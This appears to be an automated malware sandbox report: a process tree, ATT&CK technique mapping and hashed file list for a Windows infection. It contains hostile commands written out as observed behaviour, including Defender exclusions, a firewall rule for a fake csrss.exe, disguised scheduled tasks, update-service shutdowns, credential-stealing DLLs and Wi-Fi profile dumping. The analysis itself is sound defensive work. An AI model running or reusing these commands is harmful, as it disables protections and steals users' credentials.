"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
4⤵
PID:4900

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login
3⤵
PID:7124

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
4⤵
PID:7112

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform/
3⤵
PID:3484

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
4⤵
PID:3860

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login
3⤵
PID:5152

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
4⤵
PID:6788

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin
3⤵
PID:2912

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
4⤵
PID:5148

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/
3⤵
PID:436

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
4⤵
PID:3524

C:\Users\Admin\AppData\Local\Temp\2EED.exe
C:\Users\Admin\AppData\Local\Temp\2EED.exe
2⤵
- Executes dropped EXE
PID:1340

C:\Users\Admin\AppData\Local\Temp\3314.exe
C:\Users\Admin\AppData\Local\Temp\3314.exe
2⤵
- Executes dropped EXE
PID:5712

C:\Users\Admin\AppData\Local\Temp\6408.exe
C:\Users\Admin\AppData\Local\Temp\6408.exe
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:7344

C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe
"C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"
3⤵
- Executes dropped EXE
PID:6280

C:\Users\Admin\AppData\Local\Temp\Broom.exe
C:\Users\Admin\AppData\Local\Temp\Broom.exe
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:7432

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2780

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:7328

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
3⤵
- Executes dropped EXE
PID:8144

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
PID:8320

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
4⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:8968

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:8408

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
5⤵
PID:6572

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
6⤵
- Modifies Windows Firewall
PID:8428

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
PID:2332

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
PID:6108

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:8156

C:\Users\Admin\AppData\Local\Temp\kos4.exe
"C:\Users\Admin\AppData\Local\Temp\kos4.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:7288

C:\Users\Admin\AppData\Local\Temp\latestX.exe
"C:\Users\Admin\AppData\Local\Temp\latestX.exe"
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
PID:6360

C:\Users\Admin\AppData\Local\Temp\7B1C.exe
C:\Users\Admin\AppData\Local\Temp\7B1C.exe
2⤵
PID:1564

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=7B1C.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
3⤵
PID:7448

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
4⤵
PID:2856

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=7B1C.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
3⤵
PID:628

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xc8,0x104,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
4⤵
PID:3376

C:\Users\Admin\AppData\Local\Temp\8ACC.exe
C:\Users\Admin\AppData\Local\Temp\8ACC.exe
2⤵
- Executes dropped EXE
PID:8140

C:\Users\Admin\AppData\Local\Temp\91B3.exe
C:\Users\Admin\AppData\Local\Temp\91B3.exe
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:6708

C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe
"C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
PID:7852

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe" /F
4⤵
- Creates scheduled task(s)
PID:5240

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "Utsysc.exe" /P "Admin:N"&&CACLS "Utsysc.exe" /P "Admin:R" /E&&echo Y|CACLS "..\e8b5234212" /P "Admin:N"&&CACLS "..\e8b5234212" /P "Admin:R" /E&&Exit
4⤵
PID:2496

C:\Windows\SysWOW64\cacls.exe
CACLS "Utsysc.exe" /P "Admin:N"
5⤵
PID:3380

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:820

C:\Windows\SysWOW64\cacls.exe
CACLS "Utsysc.exe" /P "Admin:R" /E
5⤵
PID:5288

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:6672

C:\Windows\SysWOW64\cacls.exe
CACLS "..\e8b5234212" /P "Admin:N"
5⤵
PID:6092

C:\Windows\SysWOW64\cacls.exe
CACLS "..\e8b5234212" /P "Admin:R" /E
5⤵
PID:8368

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main
4⤵
- Loads dropped DLL
PID:8292

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main
5⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:8340

C:\Windows\system32\netsh.exe
netsh wlan show profiles
6⤵
PID:8412

C:\Windows\system32\tar.exe
tar.exe -cf "C:\Users\Admin\AppData\Local\Temp\847444993605_Desktop.tar" "C:\Users\Admin\AppData\Local\Temp\_Files_\*.*"
6⤵
PID:8896

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\clip64.dll, Main
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:8356

C:\Users\Admin\AppData\Local\Temp\FF43.exe
C:\Users\Admin\AppData\Local\Temp\FF43.exe
2⤵
- Executes dropped EXE
PID:8760

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
3⤵
PID:8064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
PID:9096

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
2⤵
PID:8216

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:8224

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:8264

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:8304

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:7688

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:8156

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
2⤵
PID:7352

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
- Checks computer location settings
PID:7220

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:928

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:7320

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:8508

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:8524

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
2⤵
PID:8536

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
PID:4664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3556 -ip 3556
1⤵
PID:3780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 5000 -ip 5000
1⤵
PID:5088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3796 -ip 3796
1⤵
PID:896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1636 -ip 1636
1⤵
PID:2964

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5336

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6108

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3516 -ip 3516
1⤵
PID:672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4244 -ip 4244
1⤵
PID:6036

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
1⤵
- Executes dropped EXE
PID:8188

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:7404

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x3d8 0x498
1⤵
PID:7872

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Executes dropped EXE
PID:8604

C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe
C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe
1⤵
- Executes dropped EXE
PID:8336

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
1⤵
- Executes dropped EXE
PID:3800

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Service Stop

T1489

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log
Filesize
226B

MD5
916851e072fbabc4796d8916c5131092

SHA1
d48a602229a690c512d5fdaf4c8d77547a88e7a2

SHA256
7e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d

SHA512
07ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
df4fb359f7b2fa8af30bf98045c57c44

SHA1
6d507359e1fd5be8f7c01fd4b291f81cf9561378

SHA256
5ff7efcd90db74ff5a6fa467ba741889306ce510b95db8ebd3d5d292dfe587cc

SHA512
92195f5fe36acb84ce5aeedf8654c2ec1d71ebde1e04a5dbce11df2831c3e085c0cd7132ed2c4bddcc3fd1e546c06021dbe5b7364e86054e6cbd6806e7be0463

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
df4fb359f7b2fa8af30bf98045c57c44

SHA1
6d507359e1fd5be8f7c01fd4b291f81cf9561378

SHA256
5ff7efcd90db74ff5a6fa467ba741889306ce510b95db8ebd3d5d292dfe587cc

SHA512
92195f5fe36acb84ce5aeedf8654c2ec1d71ebde1e04a5dbce11df2831c3e085c0cd7132ed2c4bddcc3fd1e546c06021dbe5b7364e86054e6cbd6806e7be0463

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
df4fb359f7b2fa8af30bf98045c57c44

SHA1
6d507359e1fd5be8f7c01fd4b291f81cf9561378

SHA256
5ff7efcd90db74ff5a6fa467ba741889306ce510b95db8ebd3d5d292dfe587cc

SHA512
92195f5fe36acb84ce5aeedf8654c2ec1d71ebde1e04a5dbce11df2831c3e085c0cd7132ed2c4bddcc3fd1e546c06021dbe5b7364e86054e6cbd6806e7be0463

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
df4fb359f7b2fa8af30bf98045c57c44

SHA1
6d507359e1fd5be8f7c01fd4b291f81cf9561378

SHA256
5ff7efcd90db74ff5a6fa467ba741889306ce510b95db8ebd3d5d292dfe587cc

SHA512
92195f5fe36acb84ce5aeedf8654c2ec1d71ebde1e04a5dbce11df2831c3e085c0cd7132ed2c4bddcc3fd1e546c06021dbe5b7364e86054e6cbd6806e7be0463

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
84df16093540d8d88a327b849dd35f8c

SHA1
c6207d32a8e44863142213697984de5e238ce644

SHA256
220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c

SHA512
3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
84df16093540d8d88a327b849dd35f8c

SHA1
c6207d32a8e44863142213697984de5e238ce644

SHA256
220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c

SHA512
3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
84df16093540d8d88a327b849dd35f8c

SHA1
c6207d32a8e44863142213697984de5e238ce644

SHA256
220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c

SHA512
3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
84df16093540d8d88a327b849dd35f8c

SHA1
c6207d32a8e44863142213697984de5e238ce644

SHA256
220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c

SHA512
3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
84df16093540d8d88a327b849dd35f8c

SHA1
c6207d32a8e44863142213697984de5e238ce644

SHA256
220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c

SHA512
3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
84df16093540d8d88a327b849dd35f8c

SHA1
c6207d32a8e44863142213697984de5e238ce644

SHA256
220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c

SHA512
3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
84df16093540d8d88a327b849dd35f8c

SHA1
c6207d32a8e44863142213697984de5e238ce644

SHA256
220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c

SHA512
3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
84df16093540d8d88a327b849dd35f8c

SHA1
c6207d32a8e44863142213697984de5e238ce644

SHA256
220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c

SHA512
3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
84df16093540d8d88a327b849dd35f8c

SHA1
c6207d32a8e44863142213697984de5e238ce644

SHA256
220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c

SHA512
3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
84df16093540d8d88a327b849dd35f8c

SHA1
c6207d32a8e44863142213697984de5e238ce644

SHA256
220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c

SHA512
3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
84df16093540d8d88a327b849dd35f8c

SHA1
c6207d32a8e44863142213697984de5e238ce644

SHA256
220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c

SHA512
3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
84df16093540d8d88a327b849dd35f8c

SHA1
c6207d32a8e44863142213697984de5e238ce644

SHA256
220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c

SHA512
3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
84df16093540d8d88a327b849dd35f8c

SHA1
c6207d32a8e44863142213697984de5e238ce644

SHA256
